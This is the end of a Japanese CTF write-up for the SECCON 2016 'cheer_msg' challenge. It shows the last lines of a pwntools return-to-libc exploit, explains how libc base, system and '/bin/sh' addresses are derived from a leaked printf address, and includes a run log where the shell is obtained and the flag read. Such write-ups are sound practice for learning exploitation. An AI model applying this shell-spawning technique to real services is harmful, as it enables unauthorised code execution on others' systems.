getshell =  p32(libc_system_addr)
getshell += b'AAAA'
getshell += p32(libc_shell_addr)

conn.recvuntil('Name >> ')
conn.sendline(getshell)

conn.interactive()

conn.close()

 シェルを起動するためにリークしたlibc_printf_addrからprintfのlibc内でのアドレスを引くことでlibcの配置されているアドレス(libc_base_addr)を算出して、後はそこにsystem関数のlibc内でのアドレスを足してsystem関数の位置(libc_system_addr)を求め、同様にして"/bin/sh"の位置(libc_shell_addr)を求めてあげます。すると攻撃はmemleakを送ってアドレスをリークさせた後にmain関数にリターンして、次にリークした情報を元にして作ったgetshellを送ってシェルを奪取するという二段階の構造になります。
 
 実行してみると

shir0@shir0:~/src$ socat tcp-listen:30527,reuseaddr,fork exec:"./cheer_msg" 2> /dev/null &
[2] 3004
shir0@shir0:~/src$ python exploit.py
[*] '/lib32/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/shir0/src/cheer_msg'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to 127.0.0.1 on port 30527: Done
libc_printf_addr = 0xf7655dd0
libc_base_addr   = 0xf7609000
[*] Switching to interactive mode

Thank you p\x8ed�AAAA��v�!
Message : 
$ ls
cheer
cheer_msg
exploit.py
exploit.py~
flag.txt
peda-session-cheer_msg.txt
$ cat flag.txt
SECCON{N40.T_15_ju571c3}

 成功ですね。flagは"SECCON{N40.T_15_ju571c3}"です。某大先輩様は正義、とのことです。はい。

3. 終わりに

 疑問点としては、リターンアドレスの格納位置を調べそれを元に数字の入力値を算出する際に、基本的にASLRが無効になっているgdb上での算出値が、ASLRが有効な環境でも意図した役割を果たしてくれている点が挙げられますね…
 あと地味に気になっているのは実際この問題が出題された大会開催中のサーバーだとgdb-pedaは使えたんでしょうか?なければかなり厳しいなあと感じました。

 また、作問者様のページによるとこの問題は「本来出す予定のなかった簡単な問題」だったそうなので、これに非常に苦労した自分は現在大変凹んでおります。(苦労した原因は自分のしょうもない凡ミスなんですけどね…)

 誤り等があったらご指摘頂けると幸いです。長文失礼致しました。

4. 参考サイト様

SECCON 2016 Online Exploit作問 1/2 (cheer_msg, checker, shopping) - ShiftCrops つれづれなる備忘録

 

7
14
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
7
14